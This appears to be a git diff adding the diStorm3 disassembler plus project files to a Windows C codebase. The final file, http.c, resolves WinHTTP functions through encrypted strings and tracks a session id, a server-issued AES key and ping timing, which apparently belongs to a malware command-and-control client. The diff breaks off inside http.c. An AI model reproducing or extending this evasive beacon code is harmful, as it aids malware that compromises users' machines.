+ code += 2;
+ }
+ }
+
+ /* 3 Bytes VEX: */
+ if ((codeLen >= 3) &&
+ (*code == PREFIX_VEX3b) &&
+ ((code - ps->start) <= INST_MAXIMUM_SIZE - 3) &&
+ (~ps->decodedPrefixes & INST_PRE_VEX)) {
+ /*
+ * In 32 bits the second byte has to be in the special range of Mod=11.
+ * Otherwise it might be a normal LES instruction.
+ * And we don't care now about the 3rd byte.
+ */
+ if ((dt == Decode64Bits) || (*(code + 1) >= INST_DIVIDED_MODRM)) {
+ ps->vexPos = code + 1;
+ ps->decodedPrefixes |= INST_PRE_VEX;
+ ps->prefixExtType = PET_VEX3BYTES;
+
+ /*
+ * VEX first and second bytes:
+ * |7-6-5-4----0| |7-6--3-2-10|
+ * |R|X|B|m-mmmm| |W|vvvv|L|pp|
+ * |------------| |-----------|
+ */
+
+ /* -- Convert from VEX prefix to VREX flags -- */
+ vex = *ps->vexPos;
+ ps->vrex |= ((~vex >> 5) & 0x7); /* Shift and invert VEX.R/X/B to their place */
+ vex = *(ps->vexPos + 1);
+ if (vex & 4) ps->vrex |= PREFIX_EX_L; /* Convert VEX.L. */
+ if (vex & 0x80) ps->vrex |= PREFIX_EX_W; /* Convert VEX.W. */
+
+ /* Clear some flags if the mode isn't 64 bits. */
+ if (dt != Decode64Bits) ps->vrex &= ~(PREFIX_EX_B | PREFIX_EX_X | PREFIX_EX_R | PREFIX_EX_W);
+
+ code += 3;
+ }
+ }
+
+ /*
+ * Save last byte scanned address, so the decoder could keep on scanning from this point and on and on and on.
+ * In addition the decoder is able to know that the last byte could lead to MMX/SSE instructions (preceding REX if exists).
+ */
+ ps->last = code; /* ps->last points to an opcode byte. */
+}
+
+/*
+ * For every memory-indirection operand we want to set its corresponding default segment.
+ * If the segment is being overrided, we need to see whether we use it or not.
+ * We will use it only if it's not the default one already.
+ */
+void prefixes_use_segment(_iflags defaultSeg, _PrefixState* ps, _DecodeType dt, _DInst* di)
+{
+ _iflags flags = 0;
+ if (dt == Decode64Bits) flags = ps->decodedPrefixes & INST_PRE_SEGOVRD_MASK64;
+ else flags = ps->decodedPrefixes & INST_PRE_SEGOVRD_MASK;
+
+ if ((flags == 0) || (flags == defaultSeg)) {
+ flags = defaultSeg;
+ di->segment |= SEGMENT_DEFAULT;
+ } else if (flags != defaultSeg) {
+ /* Use it only if it's non-default segment. */
+ ps->usedPrefixes |= flags;
+ }
+
+ /* ASSERT: R_XX must be below 128. */
+ switch (flags)
+ {
+ case INST_PRE_ES: di->segment |= R_ES; break;
+ case INST_PRE_CS: di->segment |= R_CS; break;
+ case INST_PRE_SS: di->segment |= R_SS; break;
+ case INST_PRE_DS: di->segment |= R_DS; break;
+ case INST_PRE_FS: di->segment |= R_FS; break;
+ case INST_PRE_GS: di->segment |= R_GS; break;
+ }
+
+ /* If it's one of the CS,SS,DS,ES and the mode is 64 bits, set segment it to none, since it's ignored. */
+ if ((dt == Decode64Bits) && (flags & INST_PRE_SEGOVRD_MASK32)) di->segment = R_NONE;
+}
diff --git a/source/distorm/prefix.h b/source/distorm/prefix.h
new file mode 100644
index 0000000..f1f53c4
--- /dev/null
+++ b/source/distorm/prefix.h
@@ -0,0 +1,64 @@
+/*
+prefix.h
+
+diStorm3 - Powerful disassembler for X86/AMD64
+http://ragestorm.net/distorm/
+distorm at gmail dot com
+Copyright (C) 2003-2016 Gil Dabah
+This library is licensed under the BSD license. See the file COPYING.
+*/
+
+
+#ifndef PREFIX_H
+#define PREFIX_H
+
+#include "config.h"
+#include "decoder.h"
+
+
+/* Specifies the type of the extension prefix, such as: REX, 2 bytes VEX, 3 bytes VEX. */
+typedef enum {PET_NONE = 0, PET_REX, PET_VEX2BYTES, PET_VEX3BYTES} _PrefixExtType;
+
+/* Specifies an index into a table of prefixes by their type. */
+typedef enum {PFXIDX_NONE = -1, PFXIDX_REX, PFXIDX_LOREP, PFXIDX_SEG, PFXIDX_OP_SIZE, PFXIDX_ADRS, PFXIDX_MAX} _PrefixIndexer;
+
+/*
+* This holds the prefixes state for the current instruction we decode.
+* decodedPrefixes includes all specific prefixes that the instruction got.
+* start is a pointer to the first prefix to take into account.
+* last is a pointer to the last byte we scanned.
+* Other pointers are used to keep track of prefixes positions and help us know if they appeared already and where.
+*/
+typedef struct {
+ _iflags decodedPrefixes, usedPrefixes;
+ const uint8_t *start, *last, *vexPos, *rexPos;
+ _PrefixExtType prefixExtType;
+ uint16_t unusedPrefixesMask;
+ /* Indicates whether the operand size prefix (0x66) was used as a mandatory prefix. */
+ int isOpSizeMandatory;
+ /* If VEX prefix is used, store the VEX.vvvv field. */
+ unsigned int vexV;
+ /* The fields B/X/R/W/L of REX and VEX are stored together in this byte. */
+ unsigned int vrex;
+
+ /* !! Make sure pfxIndexer is LAST! Otherwise memset won't work well with it. !! */
+
+ /* Holds the offset to the prefix byte by its type. */
+ int pfxIndexer[PFXIDX_MAX];
+} _PrefixState;
+
+/*
+* Intel supports 6 types of prefixes, whereas AMD supports 5 types (lock is seperated from rep/nz).
+* REX is the fifth prefix type, this time I'm based on AMD64.
+* VEX is the 6th, though it can't be repeated.
+*/
+#define MAX_PREFIXES (5)
+
+int prefixes_is_valid(unsigned int ch, _DecodeType dt);
+void prefixes_ignore(_PrefixState* ps, _PrefixIndexer pi);
+void prefixes_ignore_all(_PrefixState* ps);
+uint16_t prefixes_set_unused_mask(_PrefixState* ps);
+void prefixes_decode(const uint8_t* code, int codeLen, _PrefixState* ps, _DecodeType dt);
+void prefixes_use_segment(_iflags defaultSeg, _PrefixState* ps, _DecodeType dt, _DInst* di);
+
+#endif /* PREFIX_H */
diff --git a/source/distorm/textdefs.c b/source/distorm/textdefs.c
new file mode 100644
index 0000000..84b5a05
--- /dev/null
+++ b/source/distorm/textdefs.c
@@ -0,0 +1,173 @@
+/*
+textdefs.c
+
+diStorm3 - Powerful disassembler for X86/AMD64
+http://ragestorm.net/distorm/
+distorm at gmail dot com
+Copyright (C) 2003-2016 Gil Dabah
+This library is licensed under the BSD license. See the file COPYING.
+*/
+
+
+#include "textdefs.h"
+#include "compat.h"
+
+#ifndef DISTORM_LIGHT
+
+static uint8_t Nibble2ChrTable[16] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'};
+#define NIBBLE_TO_CHR Nibble2ChrTable[t]
+
+void _FASTCALL_ str_hex_b(_WString* s, unsigned int x)
+{
+ /*
+ * def prebuilt():
+ * s = ""
+ * for i in xrange(256):
+ * if ((i % 0x10) == 0):
+ * s += "\r\n"
+ * s += "\"%02x\", " % (i)
+ * return s
+ */
+ static int8_t TextBTable[256][3] = {
+ "00", "01", "02", "03", "04", "05", "06", "07", "08", "09", "0a", "0b", "0c", "0d", "0e", "0f",
+ "10", "11", "12", "13", "14", "15", "16", "17", "18", "19", "1a", "1b", "1c", "1d", "1e", "1f",
+ "20", "21", "22", "23", "24", "25", "26", "27", "28", "29", "2a", "2b", "2c", "2d", "2e", "2f",
+ "30", "31", "32", "33", "34", "35", "36", "37", "38", "39", "3a", "3b", "3c", "3d", "3e", "3f",
+ "40", "41", "42", "43", "44", "45", "46", "47", "48", "49", "4a", "4b", "4c", "4d", "4e", "4f",
+ "50", "51", "52", "53", "54", "55", "56", "57", "58", "59", "5a", "5b", "5c", "5d", "5e", "5f",
+ "60", "61", "62", "63", "64", "65", "66", "67", "68", "69", "6a", "6b", "6c", "6d", "6e", "6f",
+ "70", "71", "72", "73", "74", "75", "76", "77", "78", "79", "7a", "7b", "7c", "7d", "7e", "7f",
+ "80", "81", "82", "83", "84", "85", "86", "87", "88", "89", "8a", "8b", "8c", "8d", "8e", "8f",
+ "90", "91", "92", "93", "94", "95", "96", "97", "98", "99", "9a", "9b", "9c", "9d", "9e", "9f",
+ "a0", "a1", "a2", "a3", "a4", "a5", "a6", "a7", "a8", "a9", "aa", "ab", "ac", "ad", "ae", "af",
+ "b0", "b1", "b2", "b3", "b4", "b5", "b6", "b7", "b8", "b9", "ba", "bb", "bc", "bd", "be", "bf",
+ "c0", "c1", "c2", "c3", "c4", "c5", "c6", "c7", "c8", "c9", "ca", "cb", "cc", "cd", "ce", "cf",
+ "d0", "d1", "d2", "d3", "d4", "d5", "d6", "d7", "d8", "d9", "da", "db", "dc", "dd", "de", "df",
+ "e0", "e1", "e2", "e3", "e4", "e5", "e6", "e7", "e8", "e9", "ea", "eb", "ec", "ed", "ee", "ef",
+ "f0", "f1", "f2", "f3", "f4", "f5", "f6", "f7", "f8", "f9", "fa", "fb", "fc", "fd", "fe", "ff"
+ };
+
+ /*
+ * Fixed length of 3 including null terminate character.
+ */
+ COMPAT(memcpy)(&s->p[s->length], TextBTable[x & 255], 3);
+ s->length += 2;
+}
+
+void _FASTCALL_ str_code_hb(_WString* s, unsigned int x)
+{
+ static int8_t TextHBTable[256][5] = {
+ /*
+ * def prebuilt():
+ * s = ""
+ * for i in xrange(256):
+ * if ((i % 0x10) == 0):
+ * s += "\r\n"
+ * s += "\"0x%x\", " % (i)
+ * return s
+ */
+ "0x0", "0x1", "0x2", "0x3", "0x4", "0x5", "0x6", "0x7", "0x8", "0x9", "0xa", "0xb", "0xc", "0xd", "0xe", "0xf",
+ "0x10", "0x11", "0x12", "0x13", "0x14", "0x15", "0x16", "0x17", "0x18", "0x19", "0x1a", "0x1b", "0x1c", "0x1d", "0x1e", "0x1f",
+ "0x20", "0x21", "0x22", "0x23", "0x24", "0x25", "0x26", "0x27", "0x28", "0x29", "0x2a", "0x2b", "0x2c", "0x2d", "0x2e", "0x2f",
+ "0x30", "0x31", "0x32", "0x33", "0x34", "0x35", "0x36", "0x37", "0x38", "0x39", "0x3a", "0x3b", "0x3c", "0x3d", "0x3e", "0x3f",
+ "0x40", "0x41", "0x42", "0x43", "0x44", "0x45", "0x46", "0x47", "0x48", "0x49", "0x4a", "0x4b", "0x4c", "0x4d", "0x4e", "0x4f",
+ "0x50", "0x51", "0x52", "0x53", "0x54", "0x55", "0x56", "0x57", "0x58", "0x59", "0x5a", "0x5b", "0x5c", "0x5d", "0x5e", "0x5f",
+ "0x60", "0x61", "0x62", "0x63", "0x64", "0x65", "0x66", "0x67", "0x68", "0x69", "0x6a", "0x6b", "0x6c", "0x6d", "0x6e", "0x6f",
+ "0x70", "0x71", "0x72", "0x73", "0x74", "0x75", "0x76", "0x77", "0x78", "0x79", "0x7a", "0x7b", "0x7c", "0x7d", "0x7e", "0x7f",
+ "0x80", "0x81", "0x82", "0x83", "0x84", "0x85", "0x86", "0x87", "0x88", "0x89", "0x8a", "0x8b", "0x8c", "0x8d", "0x8e", "0x8f",
+ "0x90", "0x91", "0x92", "0x93", "0x94", "0x95", "0x96", "0x97", "0x98", "0x99", "0x9a", "0x9b", "0x9c", "0x9d", "0x9e", "0x9f",
+ "0xa0", "0xa1", "0xa2", "0xa3", "0xa4", "0xa5", "0xa6", "0xa7", "0xa8", "0xa9", "0xaa", "0xab", "0xac", "0xad", "0xae", "0xaf",
+ "0xb0", "0xb1", "0xb2", "0xb3", "0xb4", "0xb5", "0xb6", "0xb7", "0xb8", "0xb9", "0xba", "0xbb", "0xbc", "0xbd", "0xbe", "0xbf",
+ "0xc0", "0xc1", "0xc2", "0xc3", "0xc4", "0xc5", "0xc6", "0xc7", "0xc8", "0xc9", "0xca", "0xcb", "0xcc", "0xcd", "0xce", "0xcf",
+ "0xd0", "0xd1", "0xd2", "0xd3", "0xd4", "0xd5", "0xd6", "0xd7", "0xd8", "0xd9", "0xda", "0xdb", "0xdc", "0xdd", "0xde", "0xdf",
+ "0xe0", "0xe1", "0xe2", "0xe3", "0xe4", "0xe5", "0xe6", "0xe7", "0xe8", "0xe9", "0xea", "0xeb", "0xec", "0xed", "0xee", "0xef",
+ "0xf0", "0xf1", "0xf2", "0xf3", "0xf4", "0xf5", "0xf6", "0xf7", "0xf8", "0xf9", "0xfa", "0xfb", "0xfc", "0xfd", "0xfe", "0xff"
+ };
+
+ if (x < 0x10) { /* < 0x10 has a fixed length of 4 including null terminate. */
+ memcpy(&s->p[s->length], TextHBTable[x & 255], 4);
+ s->length += 3;
+ } else { /* >= 0x10 has a fixed length of 5 including null terminate. */
+ memcpy(&s->p[s->length], TextHBTable[x & 255], 5);
+ s->length += 4;
+ }
+}
+
+void _FASTCALL_ str_code_hdw(_WString* s, uint32_t x)
+{
+ int8_t* buf;
+ int i = 0, shift = 0;
+ unsigned int t = 0;
+
+ buf = (int8_t*)&s->p[s->length];
+
+ buf[0] = '0';
+ buf[1] = 'x';
+ buf += 2;
+
+ for (shift = 28; shift != 0; shift -= 4) {
+ t = (x >> shift) & 0xf;
+ if (i | t) buf[i++] = NIBBLE_TO_CHR;
+ }
+ t = x & 0xf;
+ buf[i++] = NIBBLE_TO_CHR;
+
+ s->length += i + 2;
+ buf[i] = '\0';
+}
+
+void _FASTCALL_ str_code_hqw(_WString* s, uint8_t src[8])
+{
+ int8_t* buf;
+ int i = 0, shift = 0;
+ uint32_t x = RULONG(&src[sizeof(int32_t)]);
+ int t;
+
+ buf = (int8_t*)&s->p[s->length];
+ buf[0] = '0';
+ buf[1] = 'x';
+ buf += 2;
+
+ for (shift = 28; shift != -4; shift -= 4) {
+ t = (x >> shift) & 0xf;
+ if (i | t) buf[i++] = NIBBLE_TO_CHR;
+ }
+
+ x = RULONG(src);
+ for (shift = 28; shift != 0; shift -= 4) {
+ t = (x >> shift) & 0xf;
+ if (i | t) buf[i++] = NIBBLE_TO_CHR;
+ }
+ t = x & 0xf;
+ buf[i++] = NIBBLE_TO_CHR;
+
+ s->length += i + 2;
+ buf[i] = '\0';
+}
+
+#ifdef SUPPORT_64BIT_OFFSET
+void _FASTCALL_ str_off64(_WString* s, OFFSET_INTEGER x)
+{
+ int8_t* buf;
+ int i = 0, shift = 0;
+ OFFSET_INTEGER t = 0;
+
+ buf = (int8_t*)&s->p[s->length];
+
+ buf[0] = '0';
+ buf[1] = 'x';
+ buf += 2;
+
+ for (shift = 60; shift != 0; shift -= 4) {
+ t = (x >> shift) & 0xf;
+ if (i | t) buf[i++] = NIBBLE_TO_CHR;
+ }
+ t = x & 0xf;
+ buf[i++] = NIBBLE_TO_CHR;
+
+ s->length += i + 2;
+ buf[i] = '\0';
+}
+#endif /* SUPPORT_64BIT_OFFSET */
+
+#endif /* DISTORM_LIGHT */
diff --git a/source/distorm/textdefs.h b/source/distorm/textdefs.h
new file mode 100644
index 0000000..05cf8d7
--- /dev/null
+++ b/source/distorm/textdefs.h
@@ -0,0 +1,57 @@
+/*
+textdefs.h
+
+diStorm3 - Powerful disassembler for X86/AMD64
+http://ragestorm.net/distorm/
+distorm at gmail dot com
+Copyright (C) 2003-2016 Gil Dabah
+This library is licensed under the BSD license. See the file COPYING.
+*/
+
+
+#ifndef TEXTDEFS_H
+#define TEXTDEFS_H
+
+#include "config.h"
+#include "wstring.h"
+
+#ifndef DISTORM_LIGHT
+
+#define PLUS_DISP_CHR '+'
+#define MINUS_DISP_CHR '-'
+#define OPEN_CHR '['
+#define CLOSE_CHR ']'
+#define SP_CHR ' '
+#define SEG_OFF_CHR ':'
+
+/*
+Naming Convention:
+
+* get - returns a pointer to a string.
+* str - concatenates to string.
+
+* hex - means the function is used for hex dump (number is padded to required size) - Little Endian output.
+* code - means the function is used for disassembled instruction - Big Endian output.
+* off - means the function is used for 64bit offset - Big Endian output.
+
+* h - '0x' in front of the string.
+
+* b - byte
+* dw - double word (can be used for word also)
+* qw - quad word
+
+* all numbers are in HEX.
+*/
+
+void _FASTCALL_ str_hex_b(_WString* s, unsigned int x);
+void _FASTCALL_ str_code_hb(_WString* s, unsigned int x);
+void _FASTCALL_ str_code_hdw(_WString* s, uint32_t x);
+void _FASTCALL_ str_code_hqw(_WString* s, uint8_t src[8]);
+
+#ifdef SUPPORT_64BIT_OFFSET
+void _FASTCALL_ str_off64(_WString* s, OFFSET_INTEGER x);
+#endif
+
+#endif /* DISTORM_LIGHT */
+
+#endif /* TEXTDEFS_H */
diff --git a/source/distorm/wstring.c b/source/distorm/wstring.c
new file mode 100644
index 0000000..ee858be
--- /dev/null
+++ b/source/distorm/wstring.c
@@ -0,0 +1,48 @@
+/*
+wstring.c
+
+diStorm3 - Powerful disassembler for X86/AMD64
+http://ragestorm.net/distorm/
+distorm at gmail dot com
+Copyright (C) 2003-2016 Gil Dabah
+This library is licensed under the BSD license. See the file COPYING.
+*/
+
+
+#include "wstring.h"
+#include "compat.h"
+
+#ifndef DISTORM_LIGHT
+
+void strclear_WS(_WString* s)
+{
+ s->p[0] = '\0';
+ s->length = 0;
+}
+
+void chrcat_WS(_WString* s, uint8_t ch)
+{
+ s->p[s->length] = ch;
+ s->p[s->length + 1] = '\0';
+ s->length += 1;
+}
+
+void strcpylen_WS(_WString* s, const int8_t* buf, unsigned int len)
+{
+ s->length = len;
+ COMPAT(memcpy)((int8_t*)s->p, buf, len + 1);
+}
+
+void strcatlen_WS(_WString* s, const int8_t* buf, unsigned int len)
+{
+ COMPAT(memcpy)((int8_t*)&s->p[s->length], buf, len + 1);
+ s->length += len;
+}
+
+void strcat_WS(_WString* s, const _WString* s2)
+{
+ COMPAT(memcpy)((int8_t*)&s->p[s->length], s2->p, s2->length + 1);
+ s->length += s2->length;
+}
+
+#endif /* DISTORM_LIGHT */
diff --git a/source/distorm/wstring.h b/source/distorm/wstring.h
new file mode 100644
index 0000000..1dbaa2f
--- /dev/null
+++ b/source/distorm/wstring.h
@@ -0,0 +1,35 @@
+/*
+wstring.h
+
+diStorm3 - Powerful disassembler for X86/AMD64
+http://ragestorm.net/distorm/
+distorm at gmail dot com
+Copyright (C) 2003-2016 Gil Dabah
+This library is licensed under the BSD license. See the file COPYING.
+*/
+
+
+#ifndef WSTRING_H
+#define WSTRING_H
+
+#include "config.h"
+
+#ifndef DISTORM_LIGHT
+
+void strclear_WS(_WString* s);
+void chrcat_WS(_WString* s, uint8_t ch);
+void strcpylen_WS(_WString* s, const int8_t* buf, unsigned int len);
+void strcatlen_WS(_WString* s, const int8_t* buf, unsigned int len);
+void strcat_WS(_WString* s, const _WString* s2);
+
+/*
+* Warning, this macro should be used only when the compiler knows the size of string in advance!
+* This macro is used in order to spare the call to strlen when the strings are known already.
+* Note: sizeof includes NULL terminated character.
+*/
+#define strcat_WSN(s, t) strcatlen_WS((s), ((const int8_t*)t), sizeof((t))-1)
+#define strcpy_WSN(s, t) strcpylen_WS((s), ((const int8_t*)t), sizeof((t))-1)
+
+#endif /* DISTORM_LIGHT */
+
+#endif /* WSTRING_H */
diff --git a/source/distorm/x86defs.h b/source/distorm/x86defs.h
new file mode 100644
index 0000000..36fea6d
--- /dev/null
+++ b/source/distorm/x86defs.h
@@ -0,0 +1,82 @@
+/*
+x86defs.h
+
+diStorm3 - Powerful disassembler for X86/AMD64
+http://ragestorm.net/distorm/
+distorm at gmail dot com
+Copyright (C) 2003-2016 Gil Dabah
+This library is licensed under the BSD license. See the file COPYING.
+*/
+
+
+#ifndef X86DEFS_H
+#define X86DEFS_H
+
+
+#define SEG_REGS_MAX (6)
+#define CREGS_MAX (9)
+#define DREGS_MAX (8)
+
+/* Maximum instruction size, including prefixes */
+#define INST_MAXIMUM_SIZE (15)
+
+/* Maximum range of imm8 (comparison type) of special SSE CMP instructions. */
+#define INST_CMP_MAX_RANGE (8)
+
+/* Maximum range of imm8 (comparison type) of special AVX VCMP instructions. */
+#define INST_VCMP_MAX_RANGE (32)
+
+/* Wait instruction byte code. */
+#define INST_WAIT_INDEX (0x9b)
+
+/* Lea instruction byte code. */
+#define INST_LEA_INDEX (0x8d)
+
+/* NOP/XCHG instruction byte code. */
+#define INST_NOP_INDEX (0x90)
+
+/* ARPL/MOVSXD instruction byte code. */
+#define INST_ARPL_INDEX (0x63)
+
+/*
+ * Minimal MODR/M value of divided instructions.
+ * It's 0xc0, two MSBs set, which indicates a general purpose register is used too.
+ */
+#define INST_DIVIDED_MODRM (0xc0)
+
+/* This is the escape byte value used for 3DNow! instructions. */
+#define _3DNOW_ESCAPE_BYTE (0x0f)
+
+#define PREFIX_LOCK (0xf0)
+#define PREFIX_REPNZ (0xf2)
+#define PREFIX_REP (0xf3)
+#define PREFIX_CS (0x2e)
+#define PREFIX_SS (0x36)
+#define PREFIX_DS (0x3e)
+#define PREFIX_ES (0x26)
+#define PREFIX_FS (0x64)
+#define PREFIX_GS (0x65)
+#define PREFIX_OP_SIZE (0x66)
+#define PREFIX_ADDR_SIZE (0x67)
+#define PREFIX_VEX2b (0xc5)
+#define PREFIX_VEX3b (0xc4)
+
+/* REX prefix value range, 64 bits mode decoding only. */
+#define PREFIX_REX_LOW (0x40)
+#define PREFIX_REX_HI (0x4f)
+/* In order to use the extended GPR's we have to add 8 to the Modr/M info values. */
+#define EX_GPR_BASE (8)
+
+/* Mask for REX and VEX features: */
+/* Base */
+#define PREFIX_EX_B (1)
+/* Index */
+#define PREFIX_EX_X (2)
+/* Register */
+#define PREFIX_EX_R (4)
+/* Operand Width */
+#define PREFIX_EX_W (8)
+/* Vector Lengh */
+#define PREFIX_EX_L (0x10)
+
+#endif /* X86DEFS_H */
diff --git a/source/file.c b/source/file.c
new file mode 100644
index 0000000..046bcdd
--- /dev/null
+++ b/source/file.c
@@ -0,0 +1,116 @@
+#include "compat.h"
+#include "crypt_strings.h"
+#include "log.h"
+#include "file.h"
+
+
+BOOL bOpenFile(const char* filepath, int oflags, HANDLE* hPtr)
+{
+ HANDLE file = _CreateFile(filepath, GENERIC_READ | ((oflags & OF_WRITEACCESS) ? GENERIC_WRITE : 0),
+ 0, NULL, ((oflags & OF_CREATENEW) ? CREATE_ALWAYS : OPEN_EXISTING), FILE_ATTRIBUTE_NORMAL, NULL);
+ if (file == INVALID_HANDLE_VALUE)
+ return FALSE;
+ *hPtr = file;
+ return TRUE;
+}
+
+BOOL bHandleToBuf(HANDLE hFile, BYTE** bufPtr, SIZE_T* szFilePtr, SIZE_T* szReadPtr)
+{
+ if ( (*szFilePtr = _GetFileSize(hFile, NULL)) <= 0 ) return FALSE;
+ if ( (*bufPtr = calloc(*szFilePtr, sizeof(BYTE))) == NULL ) return FALSE;
+ return _ReadFile(hFile, *bufPtr, *szFilePtr, szReadPtr, NULL);
+}
+
+BOOL bFileToBuf(HANDLE hFile, BYTE** bufPtr, SIZE_T* szBufPtr)
+{
+ BOOL ret = FALSE;
+
+ *bufPtr = NULL;
+ *szBufPtr = 0;
+
+ if (_SetFilePointer(hFile, 0, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER) {
+ LOG_MARKER
+ return ret;
+ }
+ if (hFile)
+ {
+ BYTE *buf;
+ DWORD szFile;
+ DWORD szRead;
+ if (bHandleToBuf(hFile, &buf, &szFile, &szRead))
+ {
+ if (szFile == szRead)
+ {
+ *bufPtr = buf;
+ *szBufPtr = szFile;
+ ret = TRUE;
+ }
+ else if (buf != NULL)
+ {
+ LOG_MARKER
+ free(buf);
+ }
+ }
+ else
+ {
+ LOG_MARKER
+ }
+ }
+ else
+ {
+ LOG_MARKER
+ }
+ return ret;
+}
+
+BOOL bFileNameToBuf(const char* szFullPath, BYTE** pBuf, SIZE_T* pBufSiz)
+{
+ HANDLE hFile = NULL;
+ if (!bOpenFile(szFullPath, 0, &hFile) || hFile == INVALID_HANDLE_VALUE)
+ return FALSE;
+ BOOL ret = bFileToBuf(hFile, pBuf, pBufSiz);
+ _CloseHandle(hFile);
+ return ret;
+}
+
+inline SIZE_T nBufToFile(HANDLE hFile, const BYTE* buf, SIZE_T szBuf)
+{
+ SIZE_T szWritten = 0;
+
+ if (hFile)
+ {
+ if (_SetFilePointer(hFile, 0, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER) {
+ LOG_MARKER
+ return 0;
+ }
+ if (!_WriteFile(hFile, buf, szBuf, &szWritten, NULL))
+ {
+ szWritten = 0;
+ }
+ }
+ return szWritten;
+}
+
+BOOL bBufToFileName(const char* szFullPath, int oflags, BYTE* buf, SIZE_T bufSiz)
+{
+ HANDLE hFile = NULL;
+ if (!bOpenFile(szFullPath, oflags, &hFile) || hFile == INVALID_HANDLE_VALUE)
+ return FALSE;
+ BOOL ret = nBufToFile(hFile, buf, bufSiz) == bufSiz;
+ _CloseHandle(hFile);
+ return ret;
+}
+
+BOOL isFileInDir(LPSTR szDirName, LPSTR szFileName)
+{
+ char* fullPath = COMPAT(calloc)(MAX_PATH+1, sizeof(char));
+ DBUF(DIRFILE_FMT_ENUM, __fmt);
+
+ if (COMPAT(snprintf)(fullPath, MAX_PATH+1, __fmt, szDirName, szFileName) <= 0)
+ return FALSE;
+
+ DWORD dwAttrib = _GetFileAttributes(fullPath);
+ COMPAT(free)(fullPath);
+ return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
+ !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
+}
diff --git a/source/http.c b/source/http.c
new file mode 100644
index 0000000..95a3538
--- /dev/null
+++ b/source/http.c
@@ -0,0 +1,671 @@
+/*
+ * Module: http.c
+ * Author: Toni <matzeton@googlemail.com>
+ * Purpose: Basic HTTP/HTTPS communication.
+ */
+
+#include "compat.h"
+
+#ifdef __MINGW32__
+#include "http.h"
+#include "math.h"
+#include "utils.h"
+#include "file.h"
+#include "crypt.h"
+#include "crypt_strings.h"
+
+
+typedef HINTERNET (WINAPI *WinHttpOpenFunc) (LPCWSTR, DWORD, LPCWSTR, LPCWSTR, DWORD);
+typedef BOOL (WINAPI *WinHttpCloseHandleFunc) (HINTERNET);
+typedef BOOL (WINAPI *WinHttpQueryOptionFunc) (HINTERNET, DWORD, LPVOID, LPDWORD);
+typedef WINHTTP_STATUS_CALLBACK
+ (WINAPI *WinHttpSetStatusCallbackFunc)(HINTERNET, WINHTTP_STATUS_CALLBACK, DWORD, DWORD_PTR);
+typedef HINTERNET (WINAPI *WinHttpConnectFunc) (HINTERNET, LPCWSTR, INTERNET_PORT, DWORD);
+typedef HINTERNET (WINAPI *WinHttpOpenRequestFunc) (HINTERNET, LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR*, DWORD);
+typedef BOOL (WINAPI *WinHttpSendRequestFunc) (HINTERNET, LPCWSTR, DWORD, LPVOID, DWORD, DWORD, DWORD_PTR);
+typedef BOOL (WINAPI *WinHttpReceiveResponseFunc) (HINTERNET, LPVOID);
+typedef BOOL (WINAPI *WinHttpQueryDataAvailableFunc)(HINTERNET, LPDWORD);
+typedef BOOL (WINAPI *WinHttpQueryHeadersFunc) (HINTERNET, DWORD, LPCWSTR, LPVOID, LPDWORD, LPDWORD);
+typedef BOOL (WINAPI *WinHttpReadDataFunc) (HINTERNET, LPVOID, DWORD, LPDWORD);
+typedef BOOL (WINAPI *WinHttpWriteDataFunc) (HINTERNET, LPCVOID, DWORD, LPDWORD);
+typedef BOOL (WINAPI *WinHttpAddRequestHeadersFunc)(HINTERNET, LPCWSTR, DWORD, DWORD);
+
+struct HttpApi {
+ BOOL initialized;
+ HINTERNET hSession;
+ WinHttpOpenFunc Open;
+ WinHttpCloseHandleFunc Close;
+ WinHttpQueryOptionFunc Query;
+ WinHttpSetStatusCallbackFunc SetCallback;
+ WinHttpConnectFunc Connect;
+ WinHttpOpenRequestFunc Request;
+ WinHttpSendRequestFunc Send;
+ WinHttpReceiveResponseFunc Respone;
+ WinHttpQueryDataAvailableFunc Data;
+ WinHttpQueryHeadersFunc Header;
+ WinHttpReadDataFunc Read;
+ WinHttpAddRequestHeadersFunc AddHdr;
+
+ uint32_t state;
+ /* client generated network info */
+ char sid[SID_LEN+1];
+ char startMarker[MARKER_SIZ+1];
+ /* server generated network info */
+ rrbuff aeskey[AESKEY_SIZ];
+ uint32_t next_ping;
+};
+
+static struct HttpApi* hApi = NULL;
+
+
+#define DECRYPT_AND_LIBGETPROC(i, lib, type, dest) { DBUF(i, tmp); dest = (type)getproc(lib, tmp); }
+#define DECRYPT_AND_GETPROC(i, type, dest) DECRYPT_AND_LIBGETPROC(i, httplib, type, dest)
+int initHttp(LoadLibraryFunc loadlib, GetProcAddressFunc getproc)
+{
+ if (hApi == NULL) {
+ hApi = COMPAT(calloc)(1, sizeof(struct HttpApi));
+ if (hApi == NULL)
+ return ERR_HTTP_PRE;
+
+ DBUF(HTTPDLL_ENUM, __nameHDLL);
+ HMODULE httplib = loadlib(__nameHDLL);
+ if (httplib == NULL)
+ return ERR_HTTP_PRE;
+
+ DECRYPT_AND_GETPROC(HTTPFUNC_OPEN_ENUM, WinHttpOpenFunc, hApi->Open);
+ DECRYPT_AND_GETPROC(HTTPFUNC_CLOSE_ENUM, WinHttpCloseHandleFunc, hApi->Close);
+ DECRYPT_AND_GETPROC(HTTPFUNC_QUERYOPT_ENUM, WinHttpQueryOptionFunc, hApi->Query);
+ DECRYPT_AND_GETPROC(HTTPFUNC_CALLBACK_ENUM, WinHttpSetStatusCallbackFunc, hApi->SetCallback);
+ DECRYPT_AND_GETPROC(HTTPFUNC_CONNECT_ENUM, WinHttpConnectFunc, hApi->Connect);
+ DECRYPT_AND_GETPROC(HTTPFUNC_REQUEST_ENUM, WinHttpOpenRequestFunc, hApi->Request);
+ DECRYPT_AND_GETPROC(HTTPFUNC_SEND_ENUM, WinHttpSendRequestFunc, hApi->Send);
+ DECRYPT_AND_GETPROC(HTTPFUNC_RESPONSE_ENUM, WinHttpReceiveResponseFunc, hApi->Respone);
+ DECRYPT_AND_GETPROC(HTTPFUNC_QUERYDATA_ENUM, WinHttpQueryDataAvailableFunc, hApi->Data);
+ DECRYPT_AND_GETPROC(HTTPFUNC_QUERYHEADER_ENUM, WinHttpQueryHeadersFunc, hApi->Header);
+ DECRYPT_AND_GETPROC(HTTPFUNC_READ_ENUM, WinHttpReadDataFunc, hApi->Read);
